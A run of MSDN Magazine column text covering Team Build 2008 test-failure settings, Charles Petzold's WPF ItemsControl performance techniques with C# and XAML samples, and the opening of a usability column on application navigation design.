Not all of the changes made to Team Build by Microsoft when updating from 2005 to 2008 were greeted with songs of praise. ﻿I, for one, frowned on this change: by default, Team Build 2008 marks a build successful if it does not encounter an error during the build process. This ignores the notion of a partially successful build. Team Build sets a build's status to this state if compilation succeeds but something else, such as a unit test, fails. In contrast, Team Build 2005 fails a build if a test fails.
Needless to say, this change is not what everyone wanted. To get around this behavior in Team Build 2008 without SP1, you can use a technique posted by Aaron Hallberg from Microsoft to fail builds when one or more tests fails. Figure 4 lists the XML you need to add to your TFSBuild.proj file. This target first gets the TestSuccess property. It then changes the CompilationStatus property to Failed if TestSuccess equals false. Thankfully, Microsoft listened to feedback. A property was added in Team Build 2008 SP1 that address this issue. Simply set <TreatTestFailureAsBuildFailure> to true, and you're good to go.
Figure 4 XML that Must Be Added to the TFSBuild.proj File
<Target Name="AfterTest">

  <!-- Refresh the build properties. -->
  <GetBuildProperties TeamFoundationServerUrl="$(TeamFoundationServerUrl)"
                      BuildUri="$(BuildUri)"
                      Condition=" '$(IsDesktopBuild)' != 'true' ">
    <Output TaskParameter="TestSuccess" PropertyName="TestSuccess" />
  </GetBuildProperties>

  <!-- Set CompilationStatus to Failed if TestSuccess is false. -->
  <SetBuildProperties TeamFoundationServerUrl="$(TeamFoundationServerUrl)"
                      BuildUri="$(BuildUri)"
                      CompilationStatus="Failed"
                      Condition=" '$(IsDesktopBuild)' != 'true' and '$(TestSuccess)' != 'true' ">

</Target>

Custom Tasks
So far, you've changed the way MSBuild and Team Build operate by changing XML in TFSBuild.proj. But what if you want to deploy a Web project to IIS after a build is complete? What if you want to package up your binaries into an MSI file? One solution is to create a custom task, but there's a bounty of MSBuild and Team Build task libraries already available on the Internet for your use, and most of them provide full source code.
Two major libraries you should start with are on CodePlex. There's the SDC Tasks with over 300 tasks. In addition, there's the MSBuild Extension Pack with over 250 tasks. Each library has a wide range of tasks and both provide source. Using these libraries requires that you install the assemblies on your build agent machines and then add the appropriate XML fragment to your TFSBuild.proj file.
Microsoft created Team Build 2008 to be extremely flexible. Getting the most from it starts with understanding how it works and interacts with MSBuild. With that knowledge and a bit of XML editing, you can easily change its behavior. With the help of the community, you can go much further and add completely new features to Team Build. Finally, if you can't find the task to do exactly what you want, you can create your own custom task.
Send your questions and comments for Brian to mmvsts@microsoft.com.

Brian A. Randell is a Senior Consultant with MCW Technologies LLC. He spends his time speaking, teaching, and writing about Microsoft technologies. Brian is the author of Pluralsight's Applied Team System course and is a Microsoft MVP. Contact Brian via his blog at mcwtech.com/cs/blogs/brianr.


Foundations
Writing More Efficient ItemsControls
Charles Petzold
Code download available from the MSDN Code Gallery
Browse the Code Online

Contents
An ItemsControl Scatter Plot
The Performance Disappointment
Hidden Loops
Using Value Converters
Watch Out for Freezables!
An Intermediary Presenter
Custom Data Element
Biting the Bullet
The DrawingVisual Solution
There comes a time in the life of every Windows Presentation Foundation (WPF) programmer when the true power of the DataTemplate suddenly becomes evident. This epiphany is usually accompanied by the realization, "Hey, I can use a DataTemplate to create a bar chart or a scatter plot with virtually no coding."
A DataTemplate is most commonly created in conjunction with an ItemsControl or a class that derives from ItemsControl, which includes ListBox, ComboBox, Menu, TreeView, ToolBar, StatusBar—in short, all the controls that maintain a collection of items. The DataTemplate defines how each item in the collection is displayed. The DataTemplate consists mostly of a visual tree of one or more elements, with data bindings that link the items in the collection with properties of these elements. If the items in the collection implement some kind of property-change notification (most often by implementing the INotifyPropertyChanged interface), the Items-Control can dynamically respond to changes in the items.
The disappointment might come a little later. If you need to display lots of data, you might discover that the ItemsControl and DataTemplate don't scale well. This column is about what you can do to combat those performance issues.

An ItemsControl Scatter Plot
Let's create a scatter plot from an ItemsControl and a DataTemplate. The first step is to create a business object representing the data item. Figure 1 shows a simple class with the generic name DataPoint (slightly abridged). DataPoint implements the INotifyPropertyChanged interface, which means that it contains an event named PropertyChanged that the object fires whenever a property has changed.
Figure 1 The DataPoint Class Represents a Data Item
public class DataPoint : INotifyPropertyChanged
{
    int _type;
    double _variableX, _variableY;
    string _id;

    public event PropertyChangedEventHandler PropertyChanged;

    public int Type
    {
        set
        {
            if (_type != value)
            {
                _type = value;
                OnPropertyChanged("Type");
            }
        }
        get { return _type; }
    }

    public double VariableX [...]
    public double VariableY [...]
    public string ID [...]

    protected virtual void OnPropertyChanged(string propertyName)
    {
        if (PropertyChanged != null)
            PropertyChanged(this, new PropertyChangedEventArgs(propertyName));
    }
}
The VariableX and VariableY properties indicate the point's position in a Cartesian coordinate system. (For this column, the values range from 0 to 1.) The Type property can be used to group data points (it will have values from 0 through 5 and be used to display information in six different colors), and the ID property identifies each point with a text string.
In a real-life application, the following DataCollection class might contain more properties, but for this example it has only one, DataPoints, of type ObservableCollection<DataPoint>:
public class DataCollection
{
    public DataCollection(int numPoints)
    {
        DataPoints = new ObservableCollection<DataPoint>();
        new DataRandomizer<DataPoint>(DataPoints, numPoints,
                                          Math.Min(1, numPoints / 100));
    }

    public ObservableCollection<DataPoint> DataPoints { set; get; }
}
ObservableCollection has a CollectionChanged property that is fired whenever items are added to or removed from the collection.
This particular DataCollection class creates all the data items in its constructor by using a class named DataPointRandomizer that generates random data for testing purposes. The DataPointRandomizer object also sets a timer. Every tenth of a second, the timer-tick method changes the VariableX or VariableY property in 1% of the points. Therefore, on average, all the points change every 10 seconds.
Now let's write some XAML that displays this data in a scatter plot. Figure 2 shows a UserControl that contains an ItemsControl. The DataContext of this control will be set in code to an object of type DataCollection. The ItemsSource property of the ItemsControl is bound to the DataPoints property of the DataCollection, which means that the ItemsControl will be filled with items of type DataPoint.
Figure 2 The DataDisplay1Control.xaml File
<UserControl x:Class="DataDisplay.DataDisplayControl"
             xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
             xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
             xmlns:data="clr-namespace:DataLibrary;assembly=DataLibrary">

    <ItemsControl ItemsSource="{Binding DataPoints}">
        <ItemsControl.ItemTemplate>
            <DataTemplate DataType="data:DataPoint">
                <Path>
                    <Path.Data>
                        <EllipseGeometry RadiusX="0.003" RadiusY="0.003">
                            <EllipseGeometry.Transform>
                                <TranslateTransform X="{Binding VariableX}"
                                                    Y="{Binding VariableY}" />
                            </EllipseGeometry.Transform>
                        </EllipseGeometry>
                    </Path.Data>

                    <Path.Style>
                        <Style TargetType="Path">
                            <Setter Property="Fill" Value="Red" />
                            <Style.Triggers>
                                <DataTrigger Binding="{Binding Type}" Value="1">
                                    <Setter Property="Fill" Value="Yellow" />
                                </DataTrigger>
                                <DataTrigger Binding="{Binding Type}" Value="2">
                                    <Setter Property="Fill" Value="Green" />
                                </DataTrigger>
                                <DataTrigger Binding="{Binding Type}" Value="3">
                                    <Setter Property="Fill" Value="Cyan" />
                                </DataTrigger>
                                <DataTrigger Binding="{Binding Type}" Value="4">
                                    <Setter Property="Fill" Value="Blue" />
                                </DataTrigger>
                                <DataTrigger Binding="{Binding Type}" Value="5">
                                    <Setter Property="Fill" Value="Magenta" />
                                </DataTrigger>
                            </Style.Triggers>
                        </Style>
                    </Path.Style>

                    <Path.ToolTip>
                        <StackPanel Orientation="Horizontal">
                            <TextBlock Text="{Binding ID}" />
                            <TextBlock Text=", X=" />
                            <TextBlock Text="{Binding VariableX}" />
                            <TextBlock Text=", Y=" />
                            <TextBlock Text="{Binding VariableY}" />
                        </StackPanel>
                    </Path.ToolTip>
                </Path>
            </DataTemplate>
        </ItemsControl.ItemTemplate>

        <ItemsControl.ItemsPanel>
            <ItemsPanelTemplate>
                <Grid Background="Azure"
                      LayoutTransform="300 0 0 300 0 0"
                      IsItemsHost="True" />
            </ItemsPanelTemplate>
        </ItemsControl.ItemsPanel>
    </ItemsControl>
</UserControl>
The ItemTemplate property of the ItemsControl is set to a DataTemplate that defines a visual tree for the display of each item. This tree consists of just a Path element with its Data property set to an EllipseGeometry. It's really just a little dot—and I mean a very little dot—with a radius of 0.003 units. But it's not as tiny as it seems because the ItemPanel property of the ItemsControl is set to an ItemsPanelTemplate containing a single-cell Grid to display all the dots. This Grid is given a LayoutTransform that scales it by a factor of 300, which makes the data dots almost 1 unit in radius.
This odd manipulation is mandated by the data bindings of the VariableX and VariableY properties to the X and Y properties of a TranslateTransform. The VariableX and VariableY properties only range from 0 to 1, so it's necessary to increase the size of the Grid to occupy an area on the screen 300 units square.
The Fill property of the Path element is set in a Style to a Brush based on the value of the Type property in each DataPoint object. The Path object is also assigned a ToolTip that displays the information about each data point.

The Performance Disappointment
The source code that accompanies this column consists of one Visual Studio solution containing seven projects: six applications and one library. The library named DataLibrary contains most of the shared code, including DataPoint, DataCollection, and DataPointRandomizer.
The first application project is named DataDisplay1. It contains a MainWindow class that is shared among the other applications, and the DataDisplay1Control.xaml file shown in Figure 2. MainWindow accesses the control for displaying the scatter plot but also includes a TextBox to enter an item count, a button to begin creating the collection, and TextBlock objects that display elapsed time during three stages of the processes that culminate in the display of the chart.
By default, the number of items is 1,000, and the program seems to work fine. But set the number of items to 10,000, and there's a delay before the display shown in Figure 3, which also illustrates very much the artificiality of the generated data.
Figure 3 The DataDisplay1 Display
Three elapsed times are displayed. When you click the button, the Click handler in MainWindow.xaml.cs begins by creating an object of type DataCollection with the specified number of data points. The first elapsed time is for the creation of this collection. The collection is then set to the DataContext of the window. That's the second elapsed time. The third elapsed time is the time required for the ItemsControl to display the resultant data points. To compute this third elapsed time, I used the LayoutUpdated event for lack of a better alternative.
As you can see, the bulk of the time involves updating the display; on my machine the average of three trials was 7.7 seconds. This is rather disturbing, particularly considering that this program really has nothing wrong with it. It is using WPF features in the way they were intended. What exactly is going on here?
When the program sets the DataContext property to an object of type DataPointCollection, the ItemsControl receives a property-change notification for the ItemsSource property. The ItemsControl enumerates through the collection of DataPoint objects, and for each DataPoint object it creates a ContentPresenter object. (The ContentPresenter class derives from FrameworkElement; this is the same element that ContentControl derivatives such as Button and Window use to display the control's content.)
For each ContentPresenter object, the Content property is set to the corresponding DataPoint object, and the ContentTemplate property is set to the ItemTemplate property of the ItemsControl. These ContentPresenter objects are then added to the panel used by the ItemsControl to display its items—in this case, a single-cell Grid.
This part of the process goes fairly quickly. The time-consuming part comes when the ItemsControl must be displayed. Because the panel has accumulated new children, its MeasureOverride method is called, and it is this call that requires 7.7 seconds to execute for 10,000 items.
The panel's MeasureOverride method calls the Measure method of each of its ContentPresenter children. If the ContentPresenter child has not yet created a visual tree to display its content, it must now do so. The ContentPresenter creates this visual tree based on the template stored in its ContentTemplate property. The ContentPresenter must also set up the data bindings between the properties of the elements in that visual tree and the properties of the object stored in its Content property (in this example, the DataPoint object). The ContentPresenter then calls the Measure method of the root element of this visual tree.
If you're interested in exploring this process in more detail, the DataLibrary DLL includes a class named SingleCellGrid that lets you probe inside the panel. In the DataDisplay1Control.xaml file, you can just replace Grid with data:SingleCellGrid.
When a ListBox contains many items but displays only a few, it bypasses a lot of this initial work because by default it uses a VirtualizingStackPanel that creates children only as they are being displayed. This is not possible with a scatter plot, however.

Hidden Loops
The loop is the fundamental construct of computer programming. The only reason we use computers is to write loops that perform repetitive chores. Yet loops seem to be disappearing from our programming experience. In functional programming languages such as F#, loops are relegated to old-style programming and are often replaced with operations that work over entire arrays, lists, and sets. Similarly, query operators in LINQ perform operations over collections without explicit looping.
This move away from explicit looping is not just a change in programming style but an essential evolutionary development to keep pace with computer hardware changes. New computers today routinely have two or four processors; in the years ahead we may see machines with hundreds of processors that perform in parallel. Loops that are handled behind the scenes in programming languages or development frameworks can more easily take advantage of parallel processing without any special work by the programmer.
Until that magical future, however, we must remain aware that the loops still exist even though we can't see them, and as a wise programmer once noted, "There ain't no such thing as a free loop."
The DataTemplate defined within the ItemTemplate section of an ItemsControl is inside a hidden loop. That DataTemplate is invoked for the creation of potentially thousands of elements and other objects, as well as the establishment of data bindings.
If we actually had to code the loop, we would all probably be much more careful designing that DataTemplate. Because of its impact on performance, fine-tuning the DataTemplate is well worth the time and effort. Just about anything you do to it will probably have a perceptible impact on performance. Often, just how much impact (and in what direction) can be hard to predict, so you'll probably want to experiment with several approaches.
In general, you'll want to simplify the visual tree in the DataTemplate. Try to minimize the number of elements, objects, and data bindings.
Go to DataDisplay1Control.xaml and try eliminating the data bindings on the TextBlock items in the ToolTip. (You can simply insert any character in front of the left curly brackets.) You should shave a couple tenths of a second off the previous time of 7.7 seconds.
Now comment out the whole ToolTip section, and you'll see the display time drop down to 4.7 seconds. Set a Fill property in the Path element to some color, and comment out the whole Style section, and now the display time drops down to 3.5 seconds. Remove the transform from the Path element, and it will come down to about 1 second.
Of course, now it's worthless because it's not displaying the data, but you can probably see how you can begin to get a feel for the impact of these items. It's just a little bit of markup, but it's worth a lot of experimentation.
Here's a change that improves both performance and readability without hurting functionality: replace the content of the Path.ToolTip tags with the following:
<TextBlock>
    <TextBlock.Text>
        <MultiBinding StringFormat="{}{0}, X={1}, Y={2}">
            <Binding Path="ID" />
            <Binding Path="VariableX}" />
            <Binding Path="VariableY}" />
        </MultiBinding>
    </TextBlock.Text>
</TextBlock>
The StringFormat option on bindings is new in .NET 3.5 SP1, and using it here gets the display time down from 7.7 seconds to 6.4.

Using Value Converters
Data bindings can optionally reference little classes called value converters, which implement either the IValueConverter or IMultiValueConverter interface. Methods in the value converters named Convert and ConvertBack perform data conversion between the binding source and destination.
Converters are often generalized to be applicable in a variety of applications; one example is the handy BooleanToVisibilityConverter used to convert true and false to Visibility.Visible and Visibility.Collapsed, respectively. But converters can be as ad hoc as you need them to be.
To simplify the DataTemplate and reduce the number of data bindings, two converters could be created. The converter shown in Figure 4 is named IndexToBrushConverter (included in the DataLibrary DLL) and converts a non-negative integer into a Brush. The converter has a public property named Brushes of type Brush array, and the integer is simply an index into that array.
Figure 4 The IndexToBrushConverter Class
public class IndexToBrushConverter : IValueConverter
{
    public Brush[] Brushes { get; set; }

    public object Convert(object value, Type targetType,
                          object parameter, CultureInfo culture)
    {
        return Brushes[(int)value];
    }

    public object ConvertBack(object value, Type targetType,
                              object parameter, CultureInfo culture)
    {
        return null;
    }
}
In a resource section of a XAML file, the converter can be instantiated with an x:Array group like so:
<data:IndexToBrushConverter x:Key="indexToBrush">
    <data:IndexToBrushConverter.Brushes>
        <x:Array Type="Brush">
            <x:Static Member="Brushes.Red" />
            <x:Static Member="Brushes.Yellow" />
            <x:Static Member="Brushes.Green" />
            <x:Static Member="Brushes.Cyan" />
            <x:Static Member="Brushes.Blue" />
            <x:Static Member="Brushes.Magenta" />
        </x:Array>
    </data:IndexToBrushConverter.Brushes>
</data:IndexToBrushConverter>
You can then replace the whole Style section shown in Figure 2 with a binding that references this converter:
<Path Fill="{Binding Type, Converter={StaticResource indexToBrush}}">
The second converter in DataLibrary is called DoublesToPointConverter. This converter implements the IMultiValueConverter interface to create a Point from two doubles, X and Y. Note that using this converter allows the Center property of the EllipseGeometry to be set directly, eliminating the need for the TranslateTransform.
The DataDisplay2 project includes these converters and uses the StringFormat approach to the ToolTip, but the times are disappointing: 7.7 seconds with the ToolTip, 4.4 seconds without, and 3.4 with a constant Fill brush.
Normally, I would expect the converters to improve performance. I'm not sure why that's not the case here, but I wouldn't be surprised if it were a boxing and unboxing issue. In the DoublesToPointConverter, for example, the incoming double values have to be boxed and unboxed, and the outgoing Point has to be boxed and unboxed.

Watch Out for Freezables!
If you want to see performance of DataDisplay2 really degrade, try replacing these x:Static members in the Brush:
<x:Static Member="Brushes.Red" />
with SolidColorBrush objects:
<SolidColorBrush Color="Red" />
The display time leaps up to 20 seconds and beyond! Yet the x:Static and SolidColorBrush elements seem pretty much the same. The static Brushes.Red property returns a SolidColorBrush with Color set to Red.
But keep in mind that SolidColorBrush derives from Freezable. The Brushes.Red property returns a SolidColorBrush that is frozen and thread safe. The value cannot be changed. When this brush is passed into the visual composition system, it can be treated as a constant.
The explicit SolidColorBrush, however, is not frozen. It remains alive in the visual composition system and will respond to changes in its Color property. That dynamic potentiality is more complex for the system to handle, and that reveals itself in performance degradation.
As a result, note that you should freeze any freezable object that will no longer be altered. In code, you call the Freeze method; in XAML, you can use the PresentationOptions:Freeze option. Very often you'll find that the difference will be negligible, but with the use of unfrozen brushes in 10,000 graphics objects, obviously it's a crucial factor.

An Intermediary Presenter
In many common application architectures, it is customary to have some kind of intermediary between the user interface and the actual business objects (in this example, DataPoint and DataCollection). Out of respect for tradition, I'll call this intermediary a "presenter" (although traditional presenters do rather more than the one I'll be showing here).
One of the roles of this presenter might be to make information from the business object more amenable to bindings to the user interface. For example, the DataPoint business object has properties named VariableX and VariableY of type double. The DataPointPresenter class (as I'll call it) might instead have a property named Variable of type Point.
For performance purposes I wrote DataPointPresenter to derive from DataPoint. Besides the Variable property, it also defines properties named Brush (of type Brush) and ToolTip (of type string). Figure 5 shows a lightly abbreviated version of the DataPointPresenter class.
Figure 5 The DataPointPresenter Class
public class DataPointPresenter : DataPoint
{
    static readonly Brush[] _brushes =
    {
        Brushes.Red, Brushes.Yellow, Brushes.Green,
        Brushes.Cyan, Brushes.Blue, Brushes.Magenta
    };
    Point _variable;
    Brush _brush;
    string _tooltip;

    public Point Variable [...]
    public Brush Brush [...]
    public string ToolTip [...]

    protected override void OnPropertyChanged(string propertyName)
    {
        switch (propertyName)
        {
            case "VariableX":
            case "VariableY":
                Variable = new Point(VariableX, VariableY);
                goto case "ID";

            case "ID":
                ToolTip = String.Format("{0}, X={1}, Y={2}",
                                        ID, VariableX, VariableY);
                break;

            case "Type":
                Brush = _brushes[Type];
                break;
        }
        base.OnPropertyChanged(propertyName);
    }
}
The DataLibrary DLL also contains a DataCollectionPresenter class that is identical to DataCollection except it maintains a collection of DataPointPresenter objects.
The DataDisplay3 project incorporates these presenter classes. The entire DataTemplate looks like this:
<DataTemplate DataType="data:DataPointPresenter">
    <Path Fill="{Binding Brush}"
          ToolTip="{Binding ToolTip}">
        <Path.Data>
            <EllipseGeometry Center="{Binding Variable}"
                             RadiusX="0.003" RadiusY="0.003" />
        </Path.Data>
    </Path>
</DataTemplate>
This approach works much better than the converters, bringing the display time down to 3.3 seconds with all the features, including the ToolTip. The big drawback here—and you might shrug it off or consider it a severe deficiency—is that the various brushes are now hardcoded in the DataPointPresenter class. This is not optimal. In WPF programming it's always nice to be able to close the code files while continuing to fine-tune the XAML.
Having those brushes in the XAML file is preferred, particularly if the Type values were ever to increase beyond the number 5. One approach might be to store the array of brushes in the Resources section of the Application XAML file and have the first instance of the DataPointPresenter access them and store them in a static variable. Now that you've seen how much impact the presenter has in this example, I won't be using it in the remaining approaches.

Custom Data Element
To draw the little dots in the scatter plot, I've been using a Path element with its Data property set to an EllipseGeometry. Because EllipseGeometry has a Center property of type Point, I've had to create a converter or a presenter to obtain a Point object from two properties of type double.
Another solution is to replace this Path and EllipseGeometry combination with a custom FrameworkElement derivative that draws a dot. Since we're writing it ourselves, it can have CenterX and CenterY properties of type double instead of a Center property of type Point. Rather than a Fill property of type Brush, it can have a FillIndex property of type int that indexes a Brushes property of type Brush array.
Such a class (called DataDot in the DataLibrary project) is fairly trivial, consisting mostly of dependency properties and CLR properties that wrap those dependency properties. MeasureOverride consists of one line:
return new Size(CenterX + RadiusX, CenterY + RadiusY);
OnRender is nearly as simple:
if (Brushes != null)
    dc.DrawEllipse(Brushes[FillIndex], null,
                   new Point(CenterX, CenterY),
                   RadiusX, RadiusY);
In the DataDisplay4 project, DataDot appears in the DataTemplate like this:
<data:DataDot CenterX="{Binding VariableX}"
              CenterY="{Binding VariableY}"
              Brushes="{StaticResource brushes}"
              FillIndex="{Binding Type}"
              RadiusX="0.003" RadiusY="0.003">
The brushes resource key references an x:Array element containing the six colors.
The DataDisplay4 project that uses this custom element displays itself in 3.3 seconds with the ToolTip and in 2.5 seconds without, which is an excellent performance improvement considering the trivial nature of the DataDot class.

Biting the Bullet
If you've stripped the DataTemplate down to the tiniest number of elements and objects and reduced the data bindings to the minimum possible, and you've done everything else you can think of and performance is still not good enough for you, maybe it's time to bite the bullet.
And by that I mean, maybe it's time to acknowledge that the combination of an ItemsControl and a DataTemplate is indeed powerful but perhaps not quite the solution you need for this particular application. This acknowledgment does not constitute an abandonment of WPF: you're still going to be using WPF to implement your solution. It is simply a recognition that the behind-the-scenes creation of 10,000 FrameworkElement derivatives is perhaps not the most efficient use of resources. The alternative is a custom FrameworkElement derivative that does the whole thing—one element rather than 10,000 elements.
The ScatterPlotRender class in the DataLibrary DLL derives from FrameworkElement and has three dependency properties: ItemsSource of type ObservableNotifiableCollection<DataPoint>, Brushes of type Brush array, and Background of type Brush.
You might remember the ObservableNotifiableCollection class from my column "Dependency Properties and Notifications" in the September 2008 issue of MSDN Magazine. This class requires that its members implement the INotifyPropertyChanged interface. The class fires an event not only when objects are added to or removed from the collection but when properties of objects in the collection change. This is how ScatterPlotRender will be alerted when the VariableX and VariableY properties of the DataPoint objects change.
The ScatterPlotRender class handles all these events in a very simple way. Whenever the ItemsSource property changes, or the collection changes, or a property of the DataPoint objects in the collection changes, ScatterPlotRender calls InvalidateVisual. This generates a call to OnRender, which draws the entire scatter plot. The code is shown in Figure 6.
Figure 6 OnRender
protected override void OnRender(DrawingContext dc)
{
    dc.DrawRectangle(Background, null, new Rect(RenderSize));

    if (ItemsSource == null || Brushes == null)
        return;

    foreach (DataPoint dataPoint in ItemsSource)
    {
        dc.DrawEllipse(Brushes[dataPoint.Type], null,
            new Point(RenderSize.Width * dataPoint.VariableX,
                      RenderSize.Height * dataPoint.VariableY), 1, 1);
    }
}
Notice that the VariableX and VariableY values are multiplied by the width and height of the element, which would probably be set in the XAML file. The DataDisplay5 project has a XAML file that instantiates a ScatterPlotRender object, like so:
<data:ScatterPlotRender Width="300" Height="300"
                        Background="Azure"
                        ItemsSource="{Binding DataPoints}"
                        Brushes="{StaticResource brushes}" />
The brushes resource key references an array of frozen SolidColorBrush objects.
The good news is that this scatter plot pops up on the screen very quickly. Drawing in its OnRender method is the fastest way a WPF element can be presented visually. The bad news is that the element continues to entirely redraw itself whenever the VariableX or VariableY property changes, and this happens every tenth of a second. Earlier versions used about 10% of CPU time for updating themselves (on my machine). This one is up in the 30% region. If your application displays frequently updated data, you might want to refine the way you perform the drawing (coming up next).
The other big drawback is that there is now no ToolTip. A ToolTip is not impossible in this class, but it's rather messy. I'll have a ToolTip in the next version.

The DrawingVisual Solution
A class that derives from FrameworkElement generally draws itself in the OnRender method, but it can also have a visual appearance by maintaining a collection of visual children. These children appear on top of whatever the OnRender method draws.
Visual children can be anything that derives from Visual, which includes FrameworkElement and Control, but a FrameworkElement derivative can also create comparatively lightweight visual children in the form of DrawingVisual objects.
If a FrameworkElement derivative creates DrawingVisual objects, it usually stores them in a VisualChildren collection, which handles some of the overhead involved in maintaining visual children. The class still needs to override VisualChildrenCount and GetVisualChild, however.
The ScatterPlotVisual class works by creating a DrawingVisual object for each DataPoint. When the properties of a DataPoint object change, the class only needs to alter the DrawingVisual associated with that DataPoint.
Like the ScatterPlotRender class, the ScatterPlotVisual class defines dependency properties named ItemsSource, Brushes, and Background. It also maintains a VisualChildren collection that must be kept synchronized with the ItemsSource collection. If an item is added to the ItemsSource collection, a new visual must be added to the VisualChildren collection. If an item is removed from the ItemsSource collection, the corresponding visual must be removed from the VisualChildren collection. If the VariableX or VariableY property of an item in the ItemsSource collection changes, the corresponding item in the VisualChildren collection must change.
To help with this synchronization, the VisualChildren collection does not actually store objects of type DrawingVisual but instead maintains objects of type DrawingVisualPlus, which is defined internal to the ScatterPlotVisual class like this:
class DrawingVisualPlus : DrawingVisual
{
    public DataPoint DataPoint { get; set; }
}
This additional property makes it easy to find a particular DrawingVisualPlus object in the VisualChildren collection corresponding to a particular DataPoint object.
The DataDisplay6 project that implements this approach is the best overall approach. I'm sure the startup creation time is slightly greater than DataDisplay5, but it's barely noticeable, and the update overhead is considerably reduced.
If you jump up to 100,000 data points, however, WPF again buckles under the strain. At this level of graphics output, I'm afraid I've run out of suggestions. (Perhaps get a faster machine?)
Send your questions and comments to mmnet30@microsoft.com.

Charles Petzold is a longtime Contributing Editor to MSDN Magazine. His most recent book is The Annotated Turing: A Guided Tour through Alan Turing's Historic Paper on Computability and the Turing Machine (Wiley, 2008). His Web site is www.charlespetzold.com.


Usability in Practice
Strategies For Designing Application Navigation
Dr. Charles Kreitzberg and Ambrose Little
Contents
THE COGNITIVE VIEW
Navigation Is a Metaphor
Why Users Get Confused
Group Multiple Pages into Logical Sections
Create a Frame
Use Navigational Aids
Take Aways
THE SOFTWARE VIEW
Copying the Big Guys
Card Sorting
UX Design Patterns
Clear Entry Points
Implementation
Controls
Testing, Tracking, and Tweaking
In Summary

THE COGNITIVE VIEW
Dr. Charles B. Kreitzberg
Getting the navigation right is one of the most important aspects of design. Navigation is the framework within which screens, interaction, and the visual appearance are designed. The most basic axiom of usability is that one should make interaction with the software as easy as possible, allowing users to focus on the tasks that brought them to the software in the first place. To the extent that navigation is confusing and requires the user's attention to figure it out, usability will suffer.

Navigation Is a Metaphor
The term "navigation" conveys the idea of traveling from place to place. It suggests that there are paths you follow to get from point to point and an underlying framework that directs (and restricts) how you get there. Yet, although we talk freely about navigating through a software product, we never actually go anywhere. We stay in one place while the image on the screen changes in response to our interactions with it. So "navigation" is really a metaphor, a mental game we play to get our minds around the design.
When most people think about navigation, they focus on menus as the way to move from screen to screen. But it is quite possible to write powerful programs built around a single screen. Think about Microsoft Word, for example. Despite its extensive and powerful functionality, almost the entire program is built around a single screen, as you see in Figure 1.
Figure 1 Deconstructing Word—It’s All in One Screen
The document being worked on is central in the screen design. Tools selected from the Ribbon are applied to the document and change its content or appearance. When a tool requires a complex interaction, it typically pops up a child window over the document. The child window may be a modal one in which the user must complete the interaction and dismiss the child window before returning to the document—an example is the insert picture command. It might be a wizard that walks the user through a process. Alternatively, the child window may be modeless, like the Thesaurus command, in which case it is docked on the side where it can remain open while the user works on the document.
The advantage of a simple, one-screen navigational approach is that the user never becomes disoriented. The document remains in plain view all the time. The user still needs to learn where to find the tools and how they work but will never get lost in cyberspace or wonder where his document went. In addition to its almost universal use in word processing programs, the one-screen paradigm has been used successfully in graphics programs like Microsoft Paint and spreadsheet programs like Microsoft Excel. Excel demonstrates a powerful way to maintain the metaphor of a single screen with multiple documents by switching the active document when the user clicks on the associated tab, which you can see on the bottom left corner of Figure 2.
Figure 2 Excel Also Uses a Single Screen
There is a great deal of value in the simplicity of the single screen metaphor. But most programs are built around the metaphor of multiple screens (or pages). Once you decide to design your presentation layer around multiple pages, you can generate a lot of confusion. As a result of observing many usability tests, I've come to realize that every time you take users to a new page, you run the risk of disorienting them.

Why Users Get Confused
When you think about it, it's not surprising that navigating from screen to screen is disorienting. Disorientation means that the user has lost direction. Look at the two users in Figure 3. Bob is working with a program designed around a single screen. Sally is working with a program designed around multiple screens.
Looking at this diagram, it's clear that Sally has a more difficult cognitive task. Not only does she have to think about where she is and where she needs to go, but the tricky process of developing an internal roadmap is further complicated by the fact that Sally is only seeing one screen at a time. Lacking a bird's eye view of the terrain, she needs to piece her mental model together at the same time she is learning unfamiliar software. That's a lot of extra work, and it can lead to a steep learning curve.
Figure 3 Getting the User Confused
The site or product's navigation serves to frame the entire design of the presentation layer. If you get it right you will go a long way to increasing the usability of the product. Consider the following suggestions as you begin designing the navigation:
Feature Single Page Navigation Wherever Possible
The single page metaphor is simple and powerful. Putting more functionality on a page can improve usability a lot, provided you're careful with the screen design so that the user is not confused or overwhelmed. What is powerful about the single screen design is that people don't lose the context while they are looking at the new information.
As a result of the document-orientation of the Web, the frequency with which search engines lead a user to an internal page, the restrictions of search engine optimization SEO techniques, and the clunky page redrawing characteristics of HTML and its primitive UI controls, it has become common to create lots of Web pages as a standard design practice. There are situations in which it's okay to have lots of pages and drop the user anywhere, but these are rare. The gratuitous linking that is the joy and power of the World Wide Web is great for browsing but does not translate well to situations in which task flow is involved.
The failure to realize how disorienting it can be to move a user from page to page often leads to designing more pages than are needed. I've had users tell me in usability tests that they go directly to the search box to find the page they want, rather than try to contend with the site's navigation.
Today we have the ability to create rich Web pages with sophisticated UI controls. Tabs, carousels, accordions, tooltips, and child windows are readily available and can reduce the amount of screen-to-screen navigation needed.
A design idea that I take seriously is to avoid screen-to-screen navigation when I can. A simple example will show you why. Figure 4 shows a typical Web navigation design.
Figure 4 Typical Web Navigation
Here the company has a series of products that are presented as a list on the first page. Clicking on the desired product name takes the user to a product information page from which he can either return to the product list or go to a third page and view the warranty.
Now let's look at a single screen version of the navigation (see Figure 5). In this version the three products are presented in a tab control. Clicking on the tab reveals the product description. If the user clicks on the "Warranty Information" link, a modal pop-up window displays the information. When the user closes the pop-up, he or she is back at the initial page.
Figure 5 A Single-Screen Navigation Model
Of course, tabs don't scale well if you need to handle many choices, so you might consider a list view control or a more exciting control like a carousel. Just from the diagrams, you can see how much simpler the second navigational model is. And it has the advantage that you can have lots of links on the product tabs and bring up a separate window (or wizard) for each. You always return to your base with a single click, and it's got the same product showing as when you brought up the pop-up window. Users will find it a lot simpler because it maintains context. The user never leaves the page to get the details.
Of course, most of the products I design have multiple pages. After all, there are limits to the amount of functionality you can fit onto a single page. And used carefully, multiple pages can simplify the UI by grouping functionality in a meaningful way. The trick is to realize that every time you take a user to a new page you risk losing context and disorienting the user, so I use them sparingly and carefully. And I think hard about the right way to segment the pages.

Group Multiple Pages into Logical Sections
My navigational nightmare is the humble HTML link. (It's actually a nightmare my colleague Ben Shneiderman and I helped perpetrate with HyperTies, a pre-Web hypertext browser—but that's a story for another time.) Every time a user clicks a link, they are transported to a new page. Without careful design, navigating can easily feel like being lost in a forest.
When you are designing a multipage product, think hard about how you choose to aggregate the pages into sections. Figure 6 shows a typical navigational design that groups the pages into subsections.
Figure 6 A Typical Navigational Design
